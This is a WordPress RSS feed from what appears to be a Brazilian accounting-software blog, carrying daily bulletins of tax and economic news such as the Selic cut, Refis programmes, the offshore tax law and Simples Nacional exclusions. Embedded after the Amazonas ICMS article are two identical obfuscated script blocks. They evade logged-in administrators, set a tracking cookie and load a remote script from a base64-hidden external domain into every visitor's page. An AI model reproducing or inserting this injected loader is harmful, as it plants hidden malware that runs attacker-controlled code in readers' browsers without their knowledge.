	A interpretação expressa na referida Solução de Consulta se aplica ao IRPJ, CSLL, PIS/PASEP e COFINS.<br />
	 </p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                LegisWeb Consultoria
                        </p>
</p></div>
<hr>
<h1>Copom reduz a taxa Selic para 11,75% a.a.</h1>
<div class="itemContent">
<p>
	O ambiente externo segue volátil e mostra-se menos adverso do que na reunião anterior, marcado pelo arrefecimento das taxas de juros de prazos mais longos nos Estados Unidos e de sinais incipientes de queda dos núcleos de inflação, que ainda permanecem em níveis elevados em diversos países. Os bancos centrais das principais economias permanecem determinados em promover a convergência das taxas de inflação para suas metas em um ambiente marcado por pressões nos mercados de trabalho. O Comitê avalia que o cenário segue exigindo cautela por parte de países emergentes.</p>
<p>
	Em relação ao cenário doméstico, o conjunto dos indicadores de atividade econômica segue consistente com o cenário de desaceleração da economia antecipado pelo Copom. A inflação cheia ao consumidor, conforme esperado, manteve trajetória de desinflação, com destaque para as medidas de inflação subjacente, que se aproximam da meta para a inflação nas divulgações mais recentes.</p>
<p>
	As expectativas de inflação para 2023, 2024 e 2025 apuradas pela pesquisa Focus encontram-se em torno de 4,5%, 3,9% e 3,5%, respectivamente. As projeções de inflação do Copom em seu cenário de referência* situam-se em 4,6% em 2023, 3,5% em 2024 e 3,2% em 2025.</p>
<p>
	As projeções para a inflação de preços administrados são de 9,1% em 2023, 4,5% em 2024 e 3,6% em 2025.</p>
<p>
	O Comitê ressalta que, em seus cenários para a inflação, permanecem fatores de risco em ambas as direções. Entre os riscos de alta para o cenário inflacionário e as expectativas de inflação, destacam-se (i) uma maior persistência das pressões inflacionárias globais; e (ii) uma maior resiliência na inflação de serviços do que a projetada em função de um hiato do produto mais apertado. Entre os riscos de baixa, ressaltam-se (i) uma desaceleração da atividade econômica global mais acentuada do que a projetada; e (ii) os impactos do aperto monetário sincronizado sobre a desinflação global se mostrarem mais fortes do que o esperado. O Comitê avalia que a conjuntura, em particular devido ao cenário internacional, segue incerta e exige cautela na condução da política monetária.</p>
<p>
	Tendo em conta a importância da execução das metas fiscais já estabelecidas para a ancoragem das expectativas de inflação e, consequentemente, para a condução da política monetária, o Comitê reafirma a importância da firme persecução dessas metas.</p>
<p>
	Considerando a evolução do processo de desinflação, os cenários avaliados, o balanço de riscos e o amplo conjunto de informações disponíveis, o Copom decidiu reduzir a taxa básica de juros em 0,50 ponto percentual, para 11,75% a.a., e entende que essa decisão é compatível com a estratégia de convergência da inflação para o redor da meta ao longo do horizonte relevante, que inclui o ano de 2024 e o de 2025. Sem prejuízo de seu objetivo fundamental de assegurar a estabilidade de preços, essa decisão também implica suavização das flutuações do nível de atividade econômica e fomento do pleno emprego.</p>
<p>
	A conjuntura atual, caracterizada por um estágio do processo desinflacionário que tende a ser mais lento, expectativas de inflação com reancoragem apenas parcial e um cenário global desafiador, demanda serenidade e moderação na condução da política monetária. O Comitê reforça a necessidade de perseverar com uma política monetária contracionista até que se consolide não apenas o processo de desinflação como também a ancoragem das expectativas em torno de suas metas.</p>
<p>
	Em se confirmando o cenário esperado, os membros do Comitê, unanimemente, anteveem redução de mesma magnitude nas próximas reuniões e avaliam que esse é o ritmo apropriado para manter a política monetária contracionista necessária para o processo desinflacionário. O Comitê enfatiza que a magnitude total do ciclo de flexibilização ao longo do tempo dependerá da evolução da dinâmica inflacionária, em especial dos componentes mais sensíveis à política monetária e à atividade econômica, das expectativas de inflação, em particular daquelas de maior prazo, de suas projeções de inflação, do hiato do produto e do balanço de riscos.</p>
<p>
	Votaram por uma redução de 0,50 ponto percentual os seguintes membros do Comitê: Roberto de Oliveira Campos Neto (presidente), Ailton de Aquino Santos, Carolina de Assis Barros, Diogo Abry Guillen, Fernanda Magalhães Rumenos Guardado, Gabriel Muricca Galípolo, Maurício Costa de Moura, Otávio Ribeiro Damaso e Renato Dias de Brito Gomes.</p>
<p>
	*No cenário de referência, a trajetória para a taxa de juros é extraída da pesquisa Focus e a taxa de câmbio parte de USD/BRL 4,90, evoluindo segundo a paridade do poder de compra (PPC). O preço do petróleo segue aproximadamente a curva futura pelos próximos seis meses e passa a aumentar 2% ao ano posteriormente. Além disso, adota-se a hipótese de bandeira tarifária &#8220;verde&#8221; em dezembro de 2024 e de 2025. O valor para o câmbio foi obtido pelo procedimento, que passou a ser adotado na 258ª reunião, de arredondar a cotação média da taxa de câmbio USD/BRL observada nos dez dias úteis encerrados no último dia da semana anterior à da reunião do Copom.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Banco Central do Brasil
                        </p>
</p></div>
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			</item>
		<item>
		<title>Boletim Sibrax 14/12</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 14 Dec 2023 09:00:06 +0000</pubDate>
				<category><![CDATA[Admin Clinica]]></category>
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					<description><![CDATA[<p>ICMS/DF: Refis 2023 bate recorde de adesões de cidadãos e empresas O Programa de Incentivo à Regularização Fiscal do Distrito Federal (Refis-DF 2023) atingiu a importante marca de maior edição em número de participantes, com a adesão de 41.303 pessoas físicas e 12.625 jurídicas até 11 de dezembro, quando foram renegociados mais de R$ 664 [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<h1>ICMS/DF: Refis 2023 bate recorde de adesões de cidadãos e empresas</h1>
<div class="itemContent">
<p>
	O Programa de Incentivo à Regularização Fiscal do Distrito Federal (Refis-DF 2023) atingiu a importante marca de maior edição em número de participantes, com a adesão de 41.303 pessoas físicas e 12.625 jurídicas até 11 de dezembro, quando foram renegociados mais de R$ 664 milhões e pagos mais de R$ 177 milhões.</p>
<p>
	O recorde pertencia ao Refis 2020, quando participaram 34.444 pessoas físicas e 8.804 jurídicas. A expectativa é de que o número ainda cresça, já que o prazo para a renegociação segue até 28 de dezembro.</p>
<p>
	Uma série de fatores explica o aumento da participação, desde a incorporação de mais débitos no programa passando pela oportunidade de pagamento (com desconto ou parcelado) até a chance de ser o último Refis concedido pelo Governo do Distrito Federal (GDF) devido a possíveis mudanças no ordenamento jurídico após a reforma tributária.</p>
<p>
	“Em quantidade de partícipes já é o maior Refis da história. Temos uma quantidade de pessoas físicas e jurídicas que têm multas com órgãos de fiscalização e que não estavam contempladas anteriormente. Isso contribuiu muito para o recorde de adesão”, avalia o subsecretário da Receita do Distrito Federal, Sebastião Pinheiro.</p>
<p>
	“Outro ponto é a possibilidade de ser o último Refis, porque, com a reforma tributária, os governos estaduais não poderão mais conceder benefícios fiscais da forma como é hoje. Não deixa de ser um fator motivador de busca para regularizar os débitos”, acrescenta.</p>
<p>
	Débitos fiscais</p>
<p>
	O Refis DF 2023 é voltado para renegociação de dívidas vencidas com o GDF até 31 de dezembro de 2022. A adesão pode ser feita em uma das unidades da Receita do DF ou pelo Portal de Serviços da Receita do Distrito Federal.</p>
<p>
	O programa é válido para débitos dos impostos sobre Operações Relativas à Circulação de Mercadorias (ICMS), Sobre Serviços (ISS), sobre a Propriedade Predial e Territorial Urbana (IPTU), sobre a Propriedade de Veículos Automotores (IPVA), sobre Transmissão de Bens Imóveis (ITBI) e de Transmissão Causa Mortis e Doação (ITCD).</p>
<p>
	Também estão incluídas no Refis DF 2023 dívidas de Taxa de Limpeza Pública (TLP), Simples Candango, decorrentes de penalidades pecuniárias por descumprimento de obrigação tributária acessória e de natureza tributária e não tributária do DF e de suas autarquias, fundações e entidades equiparadas.</p>
<p>
		O pagamento pode ser efetuado de duas formas: à vista, com um desconto de 99% em juros e multas; ou parcelado, com um pagamento inicial de 10% e o restante dividido em até 120 parcelas. A redução de juros e multas diminui progressivamente, até chegar a 40%, para parcelamentos entre 61 e 120 vezes.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/DF
                        </p>
</p></div>
<hr>
<h1>Lula sanciona com veto lei que tributa offshores e super-ricos</h1>
<div class="itemContent">
<p>
	O presidente Luiz Inácio Lula da Silva sancionou com veto a lei que muda o Imposto de Renda (IR) que incide sobre fundos de investimentos fechados e sobre a renda obtida no exterior por meio de offshores. Publicada no Diário Oficial da União desta quarta-feira (13), a Lei nº 14.754/2023 entrará em vigor no 1º de janeiro de 2024.</p>
<p>
	A lei prevê tributação ou aumento das alíquotas que incidem sobre fundos de investimentos que têm apenas um cotista (fundos exclusivos) e aplicações em offshores, que são empresas localizadas no exterior que investem no mercado financeiro. A regulamentação das novas regras ficará a cargo da Receita Federal.</p>
<p>
	De acordo com o Palácio do Planalto, as novas regras, que tiveram origem em um projeto de lei apresentado pelo próprio governo federal, promovem isonomia tributária, dão eficiência econômica e estão “alinhadas às recomendações de organizações internacionais”, além de “pôr fim à prática de adiar indefinidamente o pagamento do Imposto de Renda sobre juros e outros rendimentos — estratégia frequentemente adotada por indivíduos com alto poder aquisitivo”.</p>
<p>
	Veto e tributação</p>
<p>
	O veto presidencial eliminou um trecho que definia bolsas de valores e mercados de balcão como “aqueles que operam como sistemas centralizados multilaterais de negociação”. A justificativa apresentada pelo governo foi que a lei “deixaria de fora da regulação outros participantes que podem funcionar com sistemas bilaterais de negociação”.</p>
<p>
	A tributação sobre fundos exclusivos será igualada à dos demais fundos. Com isso, os super-ricos pagarão o “come-cotas” (recolhimento periódico do Imposto de Renda) a partir de 2024 de 15% sobre o rendimento para fundos de longo prazo, sendo 20% no caso dos investimentos de até 1 ano (curto prazo). Os fundos serão tributados a cada 6 meses.</p>
<p>
	Atualmente, apenas 2,5 mil brasileiros aplicam em fundos exclusivos, que somam R$ 756 bilhões em patrimônio e respondem, sozinhos, por 12,3% da indústria de fundos do Brasil.</p>
<p>
	Já os fundos offshores, muito usados por investidores super-ricos que entregam bens no exterior para terceiros administrarem, o projeto prevê uma cobrança anual de 15% de IR a partir de 2024. A tributação será feita uma vez ao ano, no dia 31 de dezembro.</p>
<p>
	Hoje, quem tem dinheiro em offshore só paga 15% de IR sobre o ganho de capital quando e se o dinheiro voltar ao Brasil.</p>
<p>
	Trustes</p>
<p>
	O texto sancionado introduz a regulamentação da tributação de aplicações financeiras feitas no exterior por pessoas físicas, incluindo os trustes (contratos fiduciários usados para gerenciar a herança de famílias).</p>
<p>
	Segundo o Planalto, está prevista uma regra de transição para migração do regime antigo para o novo, “inclusive com desconto na alíquota para quem aderir”.</p>
<p>
	“Além disso, a arrecadação proveniente da nova tributação, já a partir de 2023, será destinada inicialmente para financiar a correção da faixa de isenção do imposto de renda para dois salários mínimos, efetiva desde maio de 2023. Nos anos subsequentes, uma parte da arrecadação continuará a apoiar esta correção, enquanto o restante contribuirá para a meta fiscal do governo.”</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Brasil
                        </p>
</p></div>
<hr>
<h1>Veja como fazer a regularização de sua empresa na Receita</h1>
<div class="itemContent">
<p>
	Manter a regularidade fiscal e cumprir com as obrigações tributárias parece um verdadeiro desafio para algumas empresas. Nos últimos meses, a Receita Federal do Brasil (RFB) enviou intimações e avisos de cobrança automáticos para cerca de 6,5 milhões de contribuintes em todo o território nacional. Isso equivale a aproximadamente R$6 bilhões em débitos declarados e não pagos até a data de vencimento.</p>
<p>
	“A cobrança alcança as empresas que declararam o valor dos impostos e das contribuições, mas não fizeram os pagamentos. Além disso, são chamadas para regularização da situação as pessoas jurídicas que parcelaram débitos e não estão com a quitação em dia”, explica o conselheiro do Conselho Federal de Contabilidade (CFC), Adriano Marrocos.</p>
<p>
	Permanecer em situação irregular gera ônus aos empresários. O principal é a transformação da certidão negativa da empresa em certidão positiva. A consequência é que a organização pode ficar impedida de obter crédito, tanto em bancos oficiais quanto com fornecedores. Além disso, o prosseguimento da ação de cobrança por parte da Receita pode resultar, por exemplo, em bloqueio de patrimônio, o que inviabiliza a continuidade do negócio.</p>
<p>
	Segundo Marrocos, o processo de regularização é considerado simples. Porém, para evitar erros e distorções, aconselha-se buscar o apoio de um profissional da área de contabilidade. “As intimações e as notificações trazem número de processo e link de acesso, o que permite confirmar informações relativas à dívida apresentada e gerar a guia para o pagamento. Assim, ao acessar o e-CAC, é possível iniciar o processo de pagamento”, afirma.</p>
<p>
	Não existe custo na operação para regularização dos débitos. Entretanto, é importante que os empresários estejam cientes de que a data da competência de determinado tributo leva à aplicação de multa e juros por atraso, o que acaba onerando o pagamento.</p>
<p>	 </p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Portal CFC
                        </p>
</p></div>
<hr>
<h1>Receita Federal prorroga prazo de pagamento de tributos para contribuintes dos municípios em situação de calamidade pública em Santa Catarina</h1>
<div class="itemContent">
<p>
	A Receita Federal editou nesta quarta-feira (13/12), a Portaria RFB nº 384, que prorroga prazos para pagamento de tributos, inclusive parcelamentos, para contribuintes domiciliados nos municípios em situação de Calamidade Pública no Estado de Santa Catarina.</p>
<p>
	A medida está em conformidade com o Decreto nº 377/23, do Governo daquele Estado, que estalece a situação especial para os 16 municípios abaixo relacionados.</p>
<p>
	1. Agrolândia</p>
<p>
	2. Agronômica</p>
<p>
	3. Aurora</p>
<p>
	4. Botueverá</p>
<p>
	5. Braço do Trombudo</p>
<p>
	6. Brusque</p>
<p>
	7. Ituporanga</p>
<p>
	8. Laurentino</p>
<p>
	9. Lontras</p>
<p>
	10. Otacílio Costa</p>
<p>
	11. Pouso Redondo</p>
<p>
	12. Rio do Oeste</p>
<p>
	13. Rio do Sul</p>
<p>
	14. São João Batista</p>
<p>
	15. Trombudo Central</p>
<p>
	16. Vidal Ramos</p>
<p>
	Leia aqui a íntegra da Portaria da Receita Federal.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Receita Federal
                        </p>
</p></div>
<hr>
<h1>Rejeições Indevidas em Eventos de Cancelamento</h1>
<div class="itemContent">
<p>
	Devido ao problema na autorização de eventos no Ambiente Nacional noticiado em 11/12/23, podem estar ocorrendo rejeições indevidas nos pedidos de cancelamentos. Esse problema tende a se normalizar na medida que a fila de eventos represada no Ambiente Nacional for sendo compartilhada com os demais ambientes.</p>
<p>
	A expectativa é a de que essa fila de eventos represada seja zerada em dois ou três dias e até lá poderá ser necessário aguardar para que o pedido de cancelamento possa ser submetido novamente e autorizado.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Portal NF-e
                        </p>
</p></div>
<hr>
<h1>ES: Mais de 1,3 mil empresas são excluídas do Simples Nacional no Espírito Santo</h1>
<div class="itemContent">
<p>
	A Secretaria da Fazenda (Sefaz), por meio da Receita Estadual, excluiu do Simples Nacional 1.339 empresas situadas no Espírito Santo. O motivo do ato administrativo é a existência de débitos, sem exigibilidade suspensa, por parte destes contribuintes perante o Estado. As exclusões terão efeito a partir de 1º de janeiro de 2024.</p>
<p>
	Antes do procedimento de exclusão, o Fisco Estadual enviou notificações ao Domicílio Tributário Eletrônico (DT-e) de cada contribuinte, informando sobre as dívidas com o órgão fazendário. Foi dado o prazo de 30 dias para a regularização das pendências, contados a partir da ciência da comunicação do termo de exclusão lavrado.</p>
<p>
	De acordo com auditor fiscal e subgerente de Setores Econômicos da Sefaz, Augusto Dibai, em geral, as dívidas são referentes a débitos de infrações de ICMS, aviso de cobrança de ICMS não recolhido, parcelamentos interrompidos, débitos inscritos em dívida ativa, Imposto sobre a Propriedade de Veículos Automotores (IPVA) e custas processuais, entre outros. “Essas são as pendências mais comuns verificadas pelo Fisco Estadual, que são motivos para exclusão do Simples Nacional quando não quitadas no prazo regular”, informou Dibai.</p>
<p>
	O auditor fiscal Francisco Tadeu alertou os contribuintes sobre a importância de realizar periodicamente a leitura dos comunicados enviados ao Domicílio Tributário Eletrônico. “Acessem a Agência Virtual da Sefaz (AGV) e leiam as notificações disponíveis, pois, ao tomar ciência no prazo adequado, o contribuinte terá tempo hábil para regularizar sua situação perante à Receita Estadual. Verificamos que, entre aquelas empresas que não regularizaram seus débitos dentro do prazo legal, 696 não efetuaram a leitura dos termos de exclusão que foram enviados aos seus respectivos DT-e”, explicou Tadeu.</p>
<p>
	Em relação ao perfil das empresas excluídas, a maioria está situada na Região Metropolitana da Grande Vitória, principalmente nos municípios da Serra, Vila Velha, Vitória e Cariacica. “Já no que tange às atividades econômicas desempenhadas por estes contribuintes, grande parte deles atua no setor de comércio varejista”, disse Augusto Dibai.</p>
<p>
	A auditora fiscal Luciana Freitas, supervisora do Simples Nacional, ressaltou que, uma vez excluído do Simples Nacional, o contribuinte passará a sujeitar-se ao regime ordinário, apurando o ICMS sob a sistemática de créditos e débitos. “Além disso, passam a se submeter ao cumprimento de obrigações acessórias diversas, tais como a transmissão dos arquivos de Escrituração Fiscal Digital”, alertou.</p>
<p>
	Consulta da situação no Simples Nacional</p>
<p>
	Para verificar se foi excluído do Simples Nacional, o contribuinte poderá realizar consulta por meio do link a seguir: https://www8.receita.fazenda.gov.br/SimplesNacional/aplicacoes.aspx?id=21</p>
<p>
	É preciso informar o CNPJ &gt; clicar em Consultar &gt; após, clicar em + mais informações.</p>
<p>
	Caso tenha sido excluído, constarão as seguintes mensagens: “Excluída por Ato Administrativo praticado pelo ente Estado do Espírito Santo” ou “Exclusão de Ofício – Débitos”. Nesse caso, orienta-se verificar a data de efeito da exclusão, que será a partir de 01/01/2024.</p>
<p>
	Ressalta-se que em algumas situações, em razão de débitos existentes com os demais entes federados, a exclusão também poderá ser realizada pela Receita Federal do Brasil (RFB) ou pelos municípios.</p>
<p>
	Orientações para regularização</p>
<p>
	A auditora fiscal Luciana Freitas explica que é possível a regularização dos contribuintes excluídos. “Para o reingresso no regime, é necessário que as empresas regularizem todas as suas dívidas em aberto, bem como formalizem a opção pelo regime do Simples Nacional até o último dia útil de janeiro de 2024”, destacou.</p>
<p>
	Para verificar o detalhamento de seus débitos, basta o contribuinte acessar a Agência Virtual da Sefaz (AGV), clicando em Consultas e depois em Pendências, no link:  http://app.sefaz.es.gov.br/AgenciaVirtual/</p>
<p>
	Já para o reingresso no regime, o contribuinte deve realizar a solicitação de Opção pelo Simples Nacional por meio do Portal, no link a seguir:  http://www8.receita.fazenda.gov.br/SimplesNacional/Servicos/Grupo.aspx?grp=4</p>
<p>
	Caso tenha dúvidas quanto aos procedimentos para a regularização dos débitos e Opção pelo Simples Nacional, o contribuinte poderá enviar uma mensagem para o Fale Conosco da Receita Estadual, no seguinte link: https://s1-internet.sefaz.es.gov.br/faleconosco/formulario. Também existe a possibilidade de agendar atendimento presencial nas agências da Receita Estadual: https://agenda.es.gov.br/</p>
<p>
	O que é o Simples Nacional</p>
<p>
	O Simples Nacional é um regime especial unificado para a arrecadação de tributos e contribuições devidos pelas Microempresas (ME) e Empresas de Pequeno Porte (EPP), conforme estabelecido pela Lei Complementar nº 123/2006.</p>
<p>
	Nesse regime, a arrecadação, cobrança e fiscalização de tributos aplicável aos optantes pelo regime é compartilhada entre todos os entes federados (União, Estados, Distrito Federal e Municípios) e abrange os seguintes tributos: IRPJ, CSLL, PIS/Pasep, Cofins, IPI, ICMS, ISS e a Contribuição Patronal Previdenciária (CPP) para a Seguridade Social.</p>
<p>
	Para o ingresso no Simples Nacional, é necessário enquadrar-se na definição de microempresa ou de empresa de pequeno porte, cumprir os requisitos previstos na legislação e formalizar a opção pelo regime.</p>
<p>
	A Lei Complementar nº 123/2006 estabelece que não poderão recolher os impostos e contribuições na forma do Simples Nacional a Microempresa (ME) ou Empresa de Pequeno Porte (EPP) que tenha débito com o Instituto Nacional do Seguro Social ou com as Fazendas Públicas Federal, Estadual ou Municipal, cuja exigibilidade não esteja suspensa.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/ES
                        </p>
</p></div>
<hr>
<h1>ICMS/AM: Governo do Amazonas garante no STF votação favorável ao uso de créditos de ICMS da ZFM</h1>
<div class="itemContent">
<p>
	O estado do Amazonas conquistou uma vitória histórica para o modelo Zona Franca de Manaus (ZFM), após o Supremo Tribunal Federal (STF) finalizar, nesta segunda-feira (11/12), o julgamento de ação ajuizada pelo governador Wilson Lima, por meio da Procuradoria Geral do Estado (PGE-AM), validando o uso de créditos do Imposto sobre Circulação de Mercadorias e Prestação de Serviços (ICMS) da ZFM.</p>
<p>
	A Suprema Corte derrubou as autuações da Fazenda do Estado de São Paulo que rejeitavam esses créditos, e proibiu novas medidas nesse sentido. Os ministros do STF acolheram, de forma unânime, a tese defendida na Arguição de Descumprimento de Preceito Fundamental (ADPF) 1004 ajuizada contra o conjunto de autuações do Fisco Paulista e de decisões proferidas pelo Tribunal de Impostos e Taxas paulista que, desde março de 2022, passou a não mais reconhecer os créditos oriundos da ZFM.  </p>
<p>
	Na ação, o governador argumentou que tais medidas violavam o regime diferenciado instituído na ZFM e os preceitos fundamentais dele decorrente, como a redução das desigualdades regionais e meio ambiente ecologicamente equilibrado, além de formar uma jurisprudência administrativa em torno do tema totalmente prejudicial ao modelo econômico regional.  </p>
<p>
	“Essa decisão do STF a favor do Amazonas é mais uma vitória da Zona Franca de Manaus. A Constituição Federal garante que incentivos fiscais relativos ao ICMS sejam concedidos às indústrias instaladas aqui sem exigir a anuência dos demais Estados e do Distrito Federal e assim vai continuar sendo. Agradeço aos ministros que entenderam a ação que ingressamos por meio da Procuradoria Geral do Estado”, disse o governador Wilson Lima.</p>
<p>
	O procurador-geral do Estado, Giordano Bruno Costa da Cruz, explicou sobre as tratativas empreendidas pelo Governo Estadual para a garantia dessa conquista para o modelo ZFM.</p>
<p>
	&#8220;O governador Wilson Lima ingressou em uma ação de ADPF no STF, por conta das inúmeras decisões do Tribunal de Impostos e Taxas de São Paulo que não reconheciam, e passaram a não reconhecer os créditos de ICMS oriundos das compras da Zona Franca. Inicialmente, tentamos uma tratativa amigável com o Estado de São Paulo que não resultou em algo frutífero, e quando isso acontece, precisamos recorrer ao Poder Judiciário e isso foi feito com muita maestria pelo Governador.</p>
<p>
	O procurador-geral do Estado também destacou que o Governo sempre estará empenhado para assegurar os incentivos fiscais em prol do desenvolvimento socioeconômico da região. “O Estado do Amazonas sempre fica em alerta para que possamos garantir o que diz o texto constitucional, de que a Zona Franca tem garantia no texto da Constituição Federal de 1988. Continuamos sempre brigando para que seja garantido essa área de livre-comércio no Brasil”, Giordano Bruno.</p>
<p>
	O secretário da Secretaria de Estado de Desenvolvimento Econômico, Ciência, Tecnologia e Inovação (Sedecti), Serafim Correa, enfatizou a importância da segurança jurídica para as empresas já instaladas e as que pretendem investir no Polo Industrial de Manaus (PIM).</p>
<p>
	“Muito importante a decisão do Supremo Tribunal Federal porque dar a garantia jurídica, não apenas para as empresas que produzem na Zona Franca de Manaus e têm os incentivos concedidos pelo Codam, (Conselho de Desenvolvimento do Amazonas), mas também por aquelas empresas compradoras no Estado de São Paulo. Com essa decisão do Supremo, eles não podem mais autuar e nem podem dizer que não reconhecem os créditos fiscais”, destacou Serafim Correa.</p>
<p>
	Boas perspectivas</p>
<p>
	O titular da Secretaria de Estado da Fazenda (Sefaz), Alex Del Giglio, afirmou que essa decisão aumenta as perspectivas de um cenário econômico com mais crescimento para o ano de 2024 no estado.</p>
<p>
	“Isso vai fazer com que possamos atrair mais empresas para o PIM. Essas empresas têm efetivamente a segurança de produzir aqui e vão obviamente ter as vantagens competitivas que o nosso modelo apregoa. Nossa receita e esse ambiente econômico com essa segurança jurídica vão fazer com que o Estado atraia mais investimentos e, por conseguinte, gere mais receita, mais renda, e vamos ter um círculo virtuoso da economia amazônica”, enfatizou Del Giglio.</p>
<p>	 </p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/AM
                        </p>
</p></div>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
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			</item>
		<item>
		<title>Boletim Sibrax 13/12</title>
		<link>https://blog.sibrax.com.br/2023/12/boletim-sibrax-13-12/</link>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 13 Dec 2023 09:00:07 +0000</pubDate>
				<category><![CDATA[Admin Clinica]]></category>
		<category><![CDATA[Administrador de Condomínios]]></category>
		<category><![CDATA[Administrador de Escritórios]]></category>
		<category><![CDATA[Administrador Sibrax]]></category>
		<category><![CDATA[Atualizações]]></category>
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		<category><![CDATA[Controller]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Emissor de Notas Fiscais Eletrônicas]]></category>
		<category><![CDATA[Folha de Pagamento]]></category>
		<category><![CDATA[Gerenciador de Backups]]></category>
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		<category><![CDATA[Livro Fiscal]]></category>
		<category><![CDATA[Notícias]]></category>
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					<description><![CDATA[<p>Rejeições Indevidas em Eventos de Cancelamento Informamos que devido ao problema na autorização de eventos no Ambiente Nacional noticiado no dia de ontem (11-dez-2023) podem estar ocorrendo rejeições indevidas nos pedidos de cancelamentos. Esse problema tende a se normalizar na medida que a fila de eventos represada no Ambiente Nacional for sendo compartilhada com os [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<h1>Rejeições Indevidas em Eventos de Cancelamento</h1>
<div class="itemContent">
<p>
	Informamos que devido ao problema na autorização de eventos no Ambiente Nacional noticiado no dia de ontem (11-dez-2023) podem estar ocorrendo rejeições indevidas nos pedidos de cancelamentos. Esse problema tende a se normalizar na medida que a fila de eventos represada no Ambiente Nacional for sendo compartilhada com os demais ambientes. A expectativa é a de que essa fila de eventos represada seja zerada em dois ou três dias, até lá poderá ser necessário aguardar para que o pedido de cancelamento possa ser resubmetido e autorizado.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Portal BP-e
                        </p>
</p></div>
<hr>
<h1>Publicada NT 2019.001-v.1.54</h1>
<div class="itemContent">
<p>
	A versão 1.54 da NT 2019.001 atualiza regras de validação relativas ao código de benefício fiscal entre outras alterações.<br />
	 </p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Portal NF-e
                        </p>
</p></div>
<hr>
<h1>ICMS/TO: Refis 2023: Prazos de análise de pedidos e de assinatura dos Termos de Acordos são prorrogados</h1>
<div class="itemContent">
<p>
	O Programa de Recuperação de Créditos Fiscais do Governo do Tocantins (Refis) edição 2023, teve os prazos de análise de pedidos de negociação de débitos e de assinaturas dos termos de acordos prorrogados para os próximos dias 22 e 29, respectivamente. </p>
<p>
	Isso significa que a Secretaria da Fazenda tem até o dia 22 para disponibilizar os débitos para negociação. O contribuinte tem o mesmo prazo para realizar a quitação ou o pagamento da primeira parcela, nos casos em que houver opção pelo parcelamento.  As novas datas estão na Portaria Sefaz nº 1136/2023. </p>
<p>
	“Mais de 95% dos pedidos de adesão ao programa já foram atendidos, caso ainda não tenha recebido os valores para negociação, o atendimento pode estar pendente por falta de resposta do contribuinte”, diz a diretora de Recuperação de Créditos Fiscais, Nayara Medina. Ela acrescenta que “é de extrema importância que o contribuinte procure a Secretaria da Fazenda, a fim de evitar que o seu requerimento seja encerrado por falta de interação ao final do prazo previsto na legislação”.</p>
<p>
